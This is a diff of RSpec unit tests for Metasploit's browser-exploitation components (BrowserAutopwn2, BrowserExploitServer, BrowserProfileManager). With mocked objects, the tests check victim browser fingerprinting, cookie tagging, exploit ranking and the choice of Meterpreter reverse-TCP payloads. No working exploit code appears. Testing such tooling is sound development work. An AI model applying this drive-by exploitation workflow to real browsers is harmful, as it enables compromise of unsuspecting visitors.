'PAYLOAD_GENERIC_LPORT' => 4459,
'PAYLOAD_JAVA_LPORT' => 4448,
'PAYLOAD_LINUX_LPORT' => 4445,
'PAYLOAD_OSX_LPORT' => 4447,
'PAYLOAD_UNIX_LPORT' => 4446,
'PAYLOAD_WIN_LPORT' => 4444
}
end
let(:default_profile_data) do
{
"BAP.1433806920.Client.blLGFIlwYrxfvcY" => {
"source" => "script",
"os_name" => "Windows 8.1",
"os_vendor" => "undefined",
"os_device" => "undefined",
"ua_name" => "Firefox",
"ua_ver" => "35.0",
"arch" => "x86",
"java" => "1.7",
"silverlight" => "false",
"flash" => "14.0",
"vuln_test" => "true",
"proxy" => false,
"language" => "en-US,en;q=0.5",
"tried" => true
}}
end
let(:profile_tag) do
default_profile_data.keys.first.split('.')[3]
end
let(:note_type_prefix) do
default_profile_data.keys.first.split('.')[0,3] * "."
end
let(:cli) do
c = double('cli')
allow(c).to receive(:peerhost).and_return('127.0.0.1')
c
end
let(:cli_req) do
req = Rex::Proto::Http::Request.new
req.headers['Cookie'] = "__ua=#{profile_tag}"
req
end
before(:each) do
framework = double('Msf::Framework', datastore: {})
# Prepare fake notes
notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", default_profile_data)]
# Prepare framework.db
w = double('workspace')
allow(w).to receive(:name).and_return('WORKSPACE')
db = double('db')
allow(db).to receive(:report_note).with(kind_of(Hash)) { |arg| mock_report_note(arg) }
allow(db).to receive(:notes).and_return(notes)
allow(db).to receive(:active).and_return(true)
allow(db).to receive(:workspace).and_return(w)
allow(framework).to receive(:db).and_return(db)
# Prepare framework.exploits
exploits = double('exploits')
allow(exploits).to receive(:create) { |arg| mock_exploit_create(arg) }
allow(exploits).to receive(:each_pair).and_yield(available_exploits[0].fullname, '__SYMBOLIC__').and_yield(available_exploits[1].fullname, '__SYMBOLIC__').and_yield(available_exploits[2].fullname, '__SYMBOLIC__')
allow(framework).to receive(:exploits).and_return(exploits)
# Prepare jobs
jobs = {'0' => create_fake_job(0)}
allow(jobs).to receive(:stop_job) { |arg| mock_stop_job(arg) }
allow(framework).to receive(:jobs).and_return(jobs)
# Prepare payloads
payloads = {}
available_payloads.each do |p|
payloads[p.fullname] = "__SYMBOLIC__"
end
allow(payloads).to receive(:create) { |arg| mock_payload_create(arg) }
allow(framework).to receive(:payloads).and_return(payloads)
allow_any_instance_of(described_class).to receive(:cli).and_return(cli)
allow_any_instance_of(described_class).to receive(:framework).and_return(framework)
allow_any_instance_of(described_class).to receive(:report_note) { |arg| mock_report_note(arg) }
end
subject do
mod = Msf::Exploit::Remote.allocate
mod.extend described_class
mod.send(:initialize)
mod.send(:datastore=, autopwn_datastore_options)
allow(mod).to receive(:fullname).and_return('multi/browser/autopwn')
allow(mod).to receive(:datastore).and_return(autopwn_datastore_options)
mod
end
#
# Method testing starts here
#
describe '#init_exploits' do
before(:each) do
allow(subject).to receive(:set_exploit_options)
subject.instance_variable_set(:@bap_exploits, [])
end
context 'when two exploits are loaded' do
it 'saves two exploits in instance variable @bap_exploits' do
subject.init_exploits
expect(subject.instance_variable_get(:@bap_exploits).length).to eq(3)
end
end
end
context 'when removing jobs' do
describe '#rm_exploit_jobs' do
before(:each) do
subject.instance_variable_set(:@exploit_job_ids, job_ids)
end
it 'empties jobs' do
expect(subject.framework.jobs.length).to eq(1)
subject.rm_exploit_jobs
expect(subject.framework.jobs).to be_empty
end
end
describe '#rm_payload_jobs' do
it 'empties jobs' do
subject.instance_variable_set(:@payload_job_ids, job_ids)
expect(subject.framework.jobs.length).to eq(1)
subject.rm_payload_jobs
expect(subject.framework.jobs).to be_empty
end
end
end
describe '#set_exploit_options' do
before(:each) do
payload_info = {
payload_name: windows_meterpreter_reverse_tcp,
payload_lport: 4444
}
allow(subject).to receive(:select_payload).and_return([payload_info])
end
let(:xploit) do
create_fake_ms14_064
end
context 'when a module is given' do
before(:each) do
subject.instance_variable_set(:@bap_exploits, [])
subject.init_exploits
subject.set_exploit_options(xploit)
end
it 'sets the datastore options' do
expect(xploit.datastore['URIPATH']).to match(/^\/\w+/)
end
end
end
describe '#is_resource_taken?' do
before(:each) do
allow(subject).to receive(:set_exploit_options)
subject.instance_variable_set(:@bap_exploits, [])
subject.init_exploits
end
let(:repeated_resource) { '/flash1' }
let(:non_repeated_resource) { '/unique' }
context 'when a resource is repeated' do
it 'returns true' do
expect(subject.is_resource_taken?(repeated_resource)).to be_truthy
end
end
context 'when a resource is not repeated' do
it 'returns false' do
expect(subject.is_resource_taken?(non_repeated_resource)).to be_falsey
end
end
end
describe '#assign_module_resource' do
it 'returns a resource' do
allow(subject).to receive(:is_resource_taken?).and_return(false)
expect(subject.assign_module_resource).to match(/^\w+$/)
end
end
context 'when sorting' do
before(:each) do
allow(subject).to receive(:set_exploit_options)
subject.instance_variable_set(:@bap_exploits, [])
subject.init_exploits
end
let(:bap_groups) { subject.group_bap_modules }
describe '#sort_date_in_group' do
it 'returns modules sorted by date' do
unsorted_first = 'multi/browser/adobe_flash_uncompress_zlib_uaf'
expect(bap_groups[500].first.fullname).to eq(unsorted_first)
sorted_first = 'multi/browser/adobe_flash_net_connection_confusion'
expect(subject.sort_date_in_group(bap_groups)[500].first.fullname).to eq(sorted_first)
end
end
describe '#sort_group_by_rank' do
it 'returns modules sorted by rank' do
unsorted_order = [0, 100, 200, 300, 400, 500, 600]
sorted_order = [0, 100, 200, 300, 400, 500, 600].reverse
expect(bap_groups.keys).to eq(unsorted_order)
expect(subject.sort_group_by_rank(bap_groups).keys).to eq(sorted_order)
end
end
describe '#group_bap_modules' do
it 'returns modules sorted by group' do
group_order = [0, 100, 200, 300, 400, 500, 600]
expect(bap_groups.keys).to eq(group_order)
end
end
describe '#finalize_sorted_modules' do
context 'when MaxExploits is 1' do
it 'returns one exploit' do
expect(subject.instance_variable_get(:@bap_exploits).length).to eq(3)
allow(subject).to receive(:datastore).and_return({'MaxExploitCount'=>1})
subject.finalize_sorted_modules(bap_groups)
expect(subject.instance_variable_get(:@bap_exploits).length).to eq(1)
end
end
end
end
describe '#get_selected_payload_name' do
context 'when windows platform is given' do
it 'returns windows/meterpreter/reverse_tcp' do
expect(subject.get_selected_payload_name('win')).to eq(windows_meterpreter_reverse_tcp)
end
end
end
describe '#get_selected_payload_lport' do
context 'when windows platform is given' do
it 'returns 4444' do
expect(subject.get_selected_payload_lport('win')).to eq(4444)
end
end
end
describe '#get_payload_lhost' do
it 'returns LHOST' do
expect(subject.get_payload_lhost).to eq(autopwn_datastore_options['LHOST'])
end
end
describe '#start_payload_listeners' do
let(:active_payload) do
create_fake_windows_meterpreter
end
let(:wanted_payloads) do
[{
payload_name: active_payload.fullname,
payload_lport: active_payload.datastore['LPORT']
}]
end
before(:each) do
subject.instance_variable_set(:@wanted_payloads, wanted_payloads)
subject.instance_variable_set(:@payload_job_ids, [])
end
context 'when a payload is listening' do
it 'adds the job ID to the payload job ID list' do
expect(subject.instance_variable_get(:@payload_job_ids).length).to eq(0)
subject.start_payload_listeners
expect(subject.instance_variable_get(:@payload_job_ids).length).to eq(1)
end
end
end
describe '#parse_rank' do
context 'when rank is 600' do
it 'returns Excellent' do
expect(subject.parse_rank(600)).to eq('Excellent')
end
end
context 'when rank is 500' do
it 'returns Great' do
expect(subject.parse_rank(500)).to eq('Great')
end
end
context 'when rank is 400' do
it 'returns Good' do
expect(subject.parse_rank(400)).to eq('Good')
end
end
context 'when rank is 300' do
it 'returns Good' do
expect(subject.parse_rank(300)).to eq('Normal')
end
end
context 'when rank is 200' do
it 'returns Average' do
expect(subject.parse_rank(200)).to eq('Average')
end
end
context 'when rank is 100' do
it 'returns Low' do
expect(subject.parse_rank(100)).to eq('Low')
end
end
context 'when rank is 0' do
it 'returns Manual' do
expect(subject.parse_rank(0)).to eq('Manual')
end
end
end
describe '#is_payload_platform_compatible?' do
let(:windows_payload) { create_fake_windows_meterpreter }
context 'when a valid platform is given' do
it 'returns true' do
expect(subject.is_payload_platform_compatible?(windows_payload, 'win')).to be_truthy
end
end
context 'when an invalid platform is given' do
it 'returns false' do
expect(subject.is_payload_platform_compatible?(windows_payload, 'linux')).to be_falsey
end
end
end
describe '#is_payload_compatible?' do
let(:windows_exploit_payloads) { create_fake_ms14_064.compatible_payloads }
context 'when a valid payload name is given' do
it 'returns true' do
expect(subject.is_payload_compatible?(windows_exploit_payloads, windows_meterpreter_reverse_tcp)).to be_truthy
end
end
context 'when an invalid payload name is given' do
it 'returns false' do
expect(subject.is_payload_compatible?(windows_exploit_payloads, linux_meterpreter_reverse_tcp)).to be_falsey
end
end
end
describe '#is_multi_platform_exploit?' do
context 'when a windows exploit is given' do
it 'returns false' do
windows_exploit = create_fake_ms14_064
expect(subject.is_multi_platform_exploit?(windows_exploit)).to be_falsey
end
end
context 'when a multi-platform flash exploit is given' do
it 'returns true' do
flash_exploit = create_fake_flash_net_connection_confusion
expect(subject.is_multi_platform_exploit?(flash_exploit)).to be_truthy
end
end
end
describe '#select_payload' do
before(:each) do
subject.instance_variable_set(:@wanted_payloads, [])
end
context 'when a ms14_064 is given' do
it 'returns a windows payload' do
m = create_fake_ms14_064
expected_payload = m.compatible_payloads.first.first
selected_payload = subject.select_payload(m)
expect(selected_payload.length).to eq(1)
expect(selected_payload.first[:payload_name]).to eq(expected_payload)
end
end
end
describe '#start_exploits' do
before(:each) do
allow(subject).to receive(:set_exploit_options)
subject.instance_variable_set(:@exploit_job_ids, [])
subject.instance_variable_set(:@bap_exploits, [])
subject.init_exploits
end
it 'returns job IDs of the exploits started' do
subject.start_exploits
available_exploits.each do |x|
expect(subject.instance_variable_get(:@exploit_job_ids)).to include(x.job_id)
end
end
end
describe 'when outputing' do
# Get stdout:
# http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec
def get_stdout(&block)
out = $stdout
$stdout = fake = StringIO.new
begin
yield
ensure
$stdout = out
end
fake.string
end
before(:each) do
allow(subject).to receive(:print_status) { |arg| $stdout.puts arg }
allow(subject).to receive(:print_line) { |arg| $stdout.puts arg }
allow(subject).to receive(:print) { |arg| $stdout.puts arg }
allow(subject).to receive(:set_exploit_options)
subject.instance_variable_set(:@bap_exploits, [])
subject.init_exploits
end
describe '#show_ready_exploits' do
let(:output) { get_stdout { subject.show_ready_exploits } }
context 'when there is ms14_064_ole_code_execution available' do
it 'shows ms14_064_ole_code_execution on the table' do
expect(output).to include('ms14_064_ole_code_execution')
end
end
context 'when there is adobe_flash_uncompress_zlib_uaf available' do
it 'shows adobe_flash_uncompress_zlib_uaf' do
expect(output).to include('adobe_flash_uncompress_zlib_uaf')
end
end
context 'when there is adobe_flash_net_connection_confusion available' do
it 'shows adobe_flash_net_connection_confusion' do
expect(output).to include('adobe_flash_net_connection_confusion')
end
end
end
skip '#start_service' do
it 'prints the BrowserAutopwn URL' do
# This code blows up, por que??
# 3 threads exist(s) when only 1 thread expected after suite runs
allow_any_instance_of(Msf::Exploit::Remote::BrowserExploitServer).to receive(:super)
allow(subject).to receive(:show_ready_exploits)
allow_any_instance_of(Rex::Socket).to receive(:source_address).and_return(nil)
subject.start_service
end
end
end
describe '#log_click' do
let(:ip) { '192.168.1.123' }
context 'when a link is clicked' do
it 'reports a bap.clicks note' do
subject.log_click(ip)
expect(subject.framework.db.notes.first.ntype).to eq('bap.clicks')
end
end
end
describe '#get_exploit_urls' do
context 'when ms14_064 is on the list' do
it 'returns the URL for ms14_064' do
ms14_064 = create_fake_ms14_064
allow(subject).to receive(:get_suitable_exploits).and_return([ms14_064])
expect(subject.get_exploit_urls(cli, cli_req).first).to include(ms14_064.datastore['URIPATH'])
end
end
end
describe '#is_ip_targeted?' do
let(:ip) { '1.2.3.4' }
context 'when IP 1.2.3.4 is on the whitelist' do
it 'returns true' do
subject.instance_variable_set(:@whitelist, [ip])
expect(subject.is_ip_targeted?(ip)).to be_truthy
end
end
context 'when IP 1.2.3.4 is not on the whitelist' do
it 'returns false' do
subject.instance_variable_set(:@whitelist, [])
expect(subject.is_ip_targeted?(ip)).to be_falsey
end
end
end
describe '#get_custom_404_url' do
it 'returns a custom 404' do
expect(subject.get_custom_404_url).to eq(autopwn_datastore_options['Custom404'])
end
end
skip '#configure_job_output' do
end
describe '#session_count' do
it 'returns the total session count' do
subject.instance_variable_set(:@payload_job_ids, job_ids)
expect(subject.session_count).to eq(0)
end
end
end

View File

@ -1,53 +1,113 @@
require 'spec_helper'
#require 'spec_helper'
require 'msf/core'
describe Msf::Exploit::Remote::BrowserExploitServer do
let(:in_memory_profile) do
{
"BAP.1433806920.Client.blLGFIlwYrxfvcY" =>
{
source: "script",
os_name: "Windows 8.1",
os_vendor: "undefined",
os_device: "undefined",
ua_name: "Firefox",
ua_ver: "35.0",
arch: "x86",
java: "1.7",
silverlight: "false",
flash: "14.0",
vuln_test: "true",
proxy: false,
language: "en-US,en;q=0.5",
tried: true,
activex: [{"clsid"=>"{D27CDB6E-AE6D-11cf-96B8-444553540000}", "method"=>"LoadMovie"}]
}}
end
let(:default_note_type_prefix) do
in_memory_profile.keys.first.split('.')[0,3] * "."
end
let(:first_profile_tag) do
in_memory_profile.keys.first.split('.')[3]
end
let(:first_profile_info) do
in_memory_profile.values.first
end
let(:cli) do
sock = Rex::Socket::Tcp
allow(sock).to receive(:peerhost).and_return('0.0.0.0')
allow(sock).to receive(:peerport).and_return(4444)
sock
end
let(:user_agent) do
'Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/35.0'
end
let(:cli_request) do
req = Rex::Proto::Http::Request.new
req.headers['Cookie'] = cookie
req.headers['User-Agent'] = user_agent
req
end
let(:tag) do
'tag'
end
let(:cookie) do
"__ua=#{tag};"
end
let(:shortname) do
'browser_exploit_server'
end
def create_fake_note(tag, data)
note = double('note')
allow(note).to receive(:ntype).and_return(tag)
allow(note).to receive(:data).and_return(data)
note
end
before(:each) do
allow_any_instance_of(described_class).to receive(:vprint_status)
allow_any_instance_of(described_class).to receive(:vprint_line)
@notes = [create_fake_note(first_profile_tag, in_memory_profile)]
end
subject(:server) do
mod = Msf::Exploit::Remote.allocate
mod.extend described_class
mod.send(:initialize, {})
mod.send(:initialize)
mod.send(:datastore=, {'NoteTypePrefix' => default_note_type_prefix})
allow(mod).to receive(:shortname).and_return(shortname)
allow(mod).to receive(:fullname).and_return(fullname)
allow(mod).to receive(:report_client)
mod
end
let(:fullname) do
'auxiliary/server/browser_autopwn2'
end
let(:service_double) do
service = double('service')
service.stub(:server_name=)
service.stub(:add_resource)
allow(service).to receive(:server_name=)
allow(service).to receive(:add_resource)
service
end
let(:expected_user_agent) do
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'
end
let(:profile_name) do
'random'
end
let(:expected_os_name) do
'linux'
end
let(:exploit_page) do
server.instance_variable_get(:@exploit_receiver_page)
end
let(:expected_profile) do
{
:source =>'script',
:os_name =>'Windows XP',
:ua_name =>'MSIE',
:ua_ver =>'8.0',
:arch =>'x86',
:office =>'null',
:activex => [ {clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}', method: 'LoadMovie'} ],
:proxy => false,
:language => 'en-us',
:tried => true
}
end
before do
Rex::ServiceManager.stub(:start => service_double)
end
@ -58,7 +118,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
it_should_behave_like 'Msf::Exploit::JSObfu'
describe "#get_module_resource" do
describe '#get_module_resource' do
it "should give me a URI to access the exploit page" do
module_resource = server.get_module_resource
expect(module_resource).to include(exploit_page)
@ -67,127 +128,31 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
describe '#has_bad_activex?' do
context 'when there is a bad activex' do
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>false" }
let(:js_ax_value) { "#{first_profile_info[:activex][0][:clsid]}=>#{first_profile_info[:activex][0][:method]}=>false" }
it 'returns false' do
expect(server.has_bad_activex?(js_ax_value)).to be_truthy
end
end
context 'when there is no bad activex' do
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>true" }
let(:js_ax_value) { "#{first_profile_info[:activex][0][:clsid]}=>#{first_profile_info[:activex][0][:method]}=>true" }
it 'returns true' do
expect(server.has_bad_activex?(js_ax_value)).to be_falsey
end
end
end
describe "#get_bad_requirements" do
let(:rejected_requirements) do
server.get_bad_requirements(fake_profile)
end
context 'when given the expected profile' do
it "should not contain any bad requirements" do
expect(server.get_bad_requirements(expected_profile)).to eq([])
end
end
context 'when attempting to match :os_name' do
let(:fake_profile) do
{ :os_name => expected_os_name }
end
before do
server.instance_variable_set(:@requirements, {:os_name => /win/i})
end
it "identifies :os_name as a requirement not met" do
expect(rejected_requirements).to eq([:os_name])
end
end
context 'when attempting to match :ua_ver' do
context 'against version 25.0' do
let(:expected_ua_ver) { '25.0' }
let(:fake_profile) do
{ :ua_ver => expected_ua_ver }
end
before do
server.instance_variable_set(:@requirements, {:ua_ver => ua_ver})
end
context "with the regex /26\.0$/" do
let(:ua_ver) { /26\.0$/ }
it "should reject :ua_ver" do
expect(rejected_requirements).to include(:ua_ver)
end
end
context "with the regex /25\.0$/" do
let(:ua_ver) { /25\.0$/ }
it "should accept :ua_ver" do
expect(rejected_requirements).not_to include(:ua_ver)
end
end
context "with a Proc that checks if version is between 1-5" do
let(:ua_ver) { lambda{ |ver| ver.to_i.between?(1, 5) } }
it "should reject :ua_ver" do
expect(rejected_requirements).to include(:ua_ver)
end
end
context "with a Proc that checks if version is between 20-26" do
let(:ua_ver) { lambda{ |ver| ver.to_i.between?(20, 26) } }
it "should accept :ua_ver" do
expect(rejected_requirements).not_to include(:ua_ver)
end
end
end
end
end
describe "#init_profile" do
it "should initialize an empety profile for tag 'random'" do
server.init_profile(profile_name)
ivar_target_profile = server.instance_variable_get(:@target_profiles)
expect(ivar_target_profile).to eq({profile_name=>{}})
end
end
describe "#get_profile" do
it "should return nil when a profile isn't found" do
server.init_profile(profile_name)
p = server.get_profile("non_existent_profile")
expect(p).to be_nil
end
it "returns a profile if found" do
server.init_profile(profile_name)
p = server.get_profile(profile_name)
expect(p).to eq({})
end
end
describe "#update_profile" do
it "updates my target profile's :os_name information" do
server.init_profile(profile_name)
profile = server.get_profile(profile_name)
server.update_profile(profile, :os_name, expected_os_name)
profile = server.get_profile(profile_name)
expect(profile[:os_name]).to eq(expected_os_name)
end
end
describe "#get_detection_html" do
describe '#get_detection_html' do
it "returns the detection code that the client will get" do
expected_user_agent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'
html = server.get_detection_html(expected_user_agent)
expect(html).not_to eq('')
end
end
describe "#on_request_exploit" do
describe '#on_request_exploit' do
it "raises a NoMethodError if called" do
fake_cli = nil
fake_request = nil
@ -198,130 +163,100 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
end
end
describe "#get_target" do
describe '#get_target' do
it "returns a target" do
#
# Using Object for Msf::Module::Target
#
expected_object = Object
expected_object = double('Msf::Module::Target')
server.instance_variable_set(:@target, expected_object)
server.get_target.should eq(expected_object)
end
end
describe "#try_set_target" do
it "Sets a target based on requirements" do
#
# This testcase needs to be better somehow, but not sure how to actually create
# a Msf::Module::Target. All we're able to test here is making sure the method
# doesn't raise anything by exercising the code.
#
server.instance_variable_set(:@requirements, {:os_name => /win/i})
server.instance_variable_set(:@target, Object)
server.try_set_target(expected_profile)
server.get_target.should eq(Object)
describe 'extract_requirements' do
context 'when a recognizable requirement is given' do
it 'returns a hash that contains the recognizable requirement' do
expected_hash = {:os_name=>'Linux'}
expect(server.extract_requirements(expected_hash)).to eq(expected_hash)
end
end
context 'when a unrecognizable requirement is given' do
it 'returns a hash that does not have the unrecognizable requirement' do
bad_hash = {'UNKNOWN_KEY'=>'VALUE'}
expect(server.extract_requirements(bad_hash)).to be_empty
end
end
end
describe "#extract_requirements" do
it "finds all the recognizable keys" do
requirements = {:os_name=>"Windows XP", :ua_name=>"MSIE", :ua_ver=>"8.0"}
matches = server.extract_requirements(requirements)
expect(matches).to eq(requirements)
describe '#retrieve_tag' do
context 'when the browser has a cookie that contains our tag' do
it 'returns the tag from the cookie' do
expect(server.retrieve_tag(cli, cli_request)).to eq(tag)
end
end
it "makes sure the keys are always symbols" do
requirements = {'os_name'=>"Windows XP", 'ua_name'=>"MSIE"}
matches = server.extract_requirements(requirements)
matches.each do |k,v|
expect(k.class).to eq(Symbol)
context 'when the browser does not have a tag' do
let(:cli_request) do
Rex::Proto::Http::Request.new
end
it 'returns a new one in MD5' do
expect(server.retrieve_tag(cli, cli_request)).to match(/^[0-9a-f]{32}$/)
end
end
end
describe '#on_request_uri' do
let(:cli) { double(:peerhost => '0.0.0.0') }
let(:cookie) { '' }
let(:headers) { {'Cookie' => cookie, 'User-Agent' => ''} }
let(:body) { '' }
let(:cookie_name) { Msf::Exploit::Remote::BrowserExploitServer::DEFAULT_COOKIE_NAME }
let(:request) do
double(:body => body, :headers => headers, :uri => server.get_resource )
before(:each) do
allow(server).to receive(:get_profile_info) { in_memory_profile }
allow(server).to receive(:init_profile).with(kind_of(String))
allow(server).to receive(:update_profile)
allow(server).to receive(:process_browser_info)
allow(server).to receive(:send_response) { @send_response_called = true }
allow(server).to receive(:send_redirect) { @send_redirect_called = true }
allow(server).to receive(:send_not_found) { @send_not_found_called = true}
allow(server).to receive(:on_request_exploit) { @on_request_exploit_called = true }
allow(server).to receive(:on_request_exploit) { @on_request_exploit_called = true }
end
before do
server.stub(:send_redirect)
server.stub(:send_response)
server.stub(:send_not_found)
after(:each) do
@send_response_called = false
@send_redirect_called = false
@on_request_exploit_called = false
@send_not_found_called = false
@on_request_exploit_called = false
@report_client = nil
end
context 'when a new visitor requests the exploit' do
before { JSObfu.disabled = true }
after { JSObfu.disabled = false }
it 'calls send_response once' do
server.should_receive(:send_response).once
server.on_request_uri(cli, request)
end
it 'serves the os.js detection script' do
server.should_receive(:send_response) do |cli, html, headers|
expect(html).to include('os_detect')
end
server.on_request_uri(cli, request)
context 'when info_receiver_page is requested' do
it 'sends an empty page' do
info_receiver_page_var = server.instance_variable_get(:@info_receiver_page)
cli_request = Rex::Proto::Http::Request.new
cli_request.uri = info_receiver_page_var
server.on_request_uri(cli, cli_request)
expect(@send_response_called).to be_truthy
end
end
context 'when a returning visitor requests the exploit' do
let(:body) { '' }
let(:tag) { 'joe' }
let(:cookie) { "#{cookie_name}=#{tag}" }
before { server.init_profile(tag) }
it 'calls send_redirect once' do
server.should_receive(:send_redirect).once
server.on_request_uri(cli, request)
end
it 'redirects to the exploit URL' do
server.should_receive(:send_redirect) do |cli, url|
expect(url).to end_with("#{exploit_page}/")
end
server.on_request_uri(cli, request)
end
end
context 'when a returning visitor from a previous msf run requests the exploit' do
let(:body) { '' }
let(:tag) { 'joe' }
let(:cookie) { "#{cookie_name}=#{tag}" }
before { JSObfu.disabled = true }
after { JSObfu.disabled = false }
it 'calls send_response once' do
server.should_receive(:send_response).once
server.on_request_uri(cli, request)
end
it 'serves the os.js detection script' do
server.should_receive(:send_response) do |cli, html, headers|
expect(html).to include('os_detect')
end
server.on_request_uri(cli, request)
context 'when noscript_receiver_page is requested' do
it 'sends a not-found' do
noscript_receiver_page_var = server.instance_variable_get(:@noscript_receiver_page)
cli_request = Rex::Proto::Http::Request.new
cli_request.uri = noscript_receiver_page_var
server.on_request_uri(cli, cli_request)
expect(@send_not_found_called).to be_truthy
end
end
end
describe '#get_payload' do
let(:cli) {
Rex::Socket::Tcp
}
before(:each) do
allow(cli).to receive(:peerhost).and_return('0.0.0.0')
allow(cli).to receive(:peerport).and_return(4444)
target = double('Msf::Module::Target')
allow(target).to receive(:arch).and_return(nil)
allow(server).to receive(:get_target).and_return(target)
end
let(:encoded) { '@EXE@' }
@ -330,25 +265,168 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
double(:encoded => encoded, :arch => ['x86'])
}
let(:x86_64_payload) {
double(:encoded => encoded, :arch => ['x86_64'])
let(:normalized_profile_info) {
first_profile_info.inject({}){|data,(k,v)| data[k.to_sym] = v; data}
}
context 'when the payload supports the visitor\'s browser architecture' do
it 'returns a payload' do
allow(server).to receive(:regenerate_payload).and_return(x86_payload)
expect(server.get_payload(cli, expected_profile)).to eq(encoded)
end
end
context 'when the payload does not support the visitor\'s browser architecture' do
it 'raises a BESException' do
allow(server).to receive(:regenerate_payload).and_return(x86_64_payload)
expect{server.get_payload(cli, expected_profile)}.to raise_error(Msf::Exploit::Remote::BrowserExploitServer::BESException)
expect(server.get_payload(cli, normalized_profile_info)).to eq(encoded)
end
end
end
describe '#browser_profile_prefix' do
it 'returns a BES prefix' do
expect(subject.browser_profile_prefix).to include(shortname)
end
end
describe '#get_custom_404_url' do
let(:custom_404) do
'http://example.com'
end
before(:each) do
allow(subject).to receive(:datastore).and_return({'Custom404'=>custom_404})
end
context 'when a custom 404 URL is set' do
it 'returns the URL' do
expect(subject.get_custom_404_url).to eq(custom_404)
end
end
end
describe '#get_module_uri' do
let(:exploit_receiver_page) do
'exploit_receiver_page'
end
before(:each) do
subject.instance_variable_set(:@exploit_receiver_page, exploit_receiver_page)
allow(subject).to receive(:get_uri).and_return('')
end
it 'returns a module URI' do
expect(subject.get_module_uri).to include(exploit_receiver_page)
end
end
describe '#try_set_target' do
let(:aux_mod) do
mod = Msf::Auxiliary.allocate
mod.extend described_class
mod.send(:initialize)
mod
end
let(:target_options) do
{ua_name: 'Firefox'}
end
let(:target) do
t = double('target')
allow(t).to receive(:opts).and_return(target_options)
t
end
let(:default_auto_target) do
# The default auto target is always the first on the list.
# In a module this would be the "Automatic" target.
t = double('target')
allow(t).to receive(:opts).and_return({})
t
end
let(:targets) do
[ default_auto_target, target ]
end
context 'when an auxiliary uses BES' do
it 'returns nil' do
expect(aux_mod.try_set_target(first_profile_info)).to be_nil
end
end
context 'when an exploit uses BES' do
it 'sets the instance variable @target' do
expect(subject.instance_variable_get(:@target)).to be_nil
allow(subject).to receive(:targets).and_return(targets)
subject.try_set_target(first_profile_info)
expect(subject.instance_variable_get(:@target)).to eq(target)
end
end
end
describe '#get_bad_requirements' do
context 'when there is a bad requirement' do
it 'returns a bad requirement' do
requirements = { ua_ver: '34' }
subject.instance_variable_set(:@requirements, requirements)
expect(subject.get_bad_requirements(first_profile_info)).to include(:ua_ver)
end
end
context 'when there is no bad requirement' do
it 'returns an empty hash' do
requirements = { ua_ver: first_profile_info[:ua_ver] }
subject.instance_variable_set(:@requirements, requirements)
expect(subject.get_bad_requirements(first_profile_info)).to be_empty
end
end
end
describe '#process_browser_info' do
before(:each) do
allow(subject).to receive(:report_client) { |args| @report_client = args }
allow(subject).to receive(:browser_profile).and_return(Hash.new)
end
context 'when source is :script' do
context 'when no profile is found' do
it 'reports an empty ua_ver' do
subject.process_browser_info(:script, cli, cli_request)
expect(@report_client[:ua_ver]).to eq('[]')
end
end
end
context 'when source is :headers' do
context 'when user-agent says the browser is FF 35.0' do
it 'reports ua_ver as 35.0' do
subject.process_browser_info(:headers, cli, cli_request)
expect(@report_client[:ua_ver]).to eq('35.0')
end
end
end
end
describe '#has_proxy?' do
context 'when there is no proxy' do
it 'returns false' do
expect(subject.has_proxy?(cli_request)).to be_falsey
end
end
end
describe '#cookie_name' do
before(:each) do
subject.datastore.merge!({'CookieName'=>cookie})
end
it 'returns a cookiename' do
expect(subject.cookie_name).to eq(cookie)
end
end
describe '#cookie_header' do
it 'returns a cookie' do
tag = 'TAG'
expect(subject.cookie_header(tag)).to include(tag)
end
end
end

View File

@ -0,0 +1,51 @@
require 'msf/core'
describe Msf::Exploit::Remote::BrowserProfileManager do
subject do
mod = Msf::Exploit::Remote.allocate
mod.extend described_class
mod
end
let(:default_profile) do
{
'PREFIX' => {'KEY'=>'VALUE'}
}
end
before(:each) do
framework = double('framework')
allow(framework).to receive(:browser_profiles).and_return(default_profile)
allow_any_instance_of(described_class).to receive(:framework).and_return(framework)
end
describe '#browser_profile_prefix' do
it 'raises a NoMethodError' do
expect{subject.browser_profile_prefix}.to raise_exception(NoMethodError)
end
end
describe '#browser_profile' do
before(:each) do
allow(subject).to receive(:browser_profile_prefix).and_return('PREFIX')
end
it 'returns a hash for the profile' do
expect(subject.browser_profile).to be_kind_of(Hash)
end
end
describe '#clear_browser_profiles' do
before(:each) do
allow(subject).to receive(:browser_profile_prefix).and_return('PREFIX')
end
it 'clears profile cache' do
expect(subject.browser_profile.length).to eq(1)
subject.clear_browser_profiles
expect(subject.browser_profile).to be_empty
end
end
end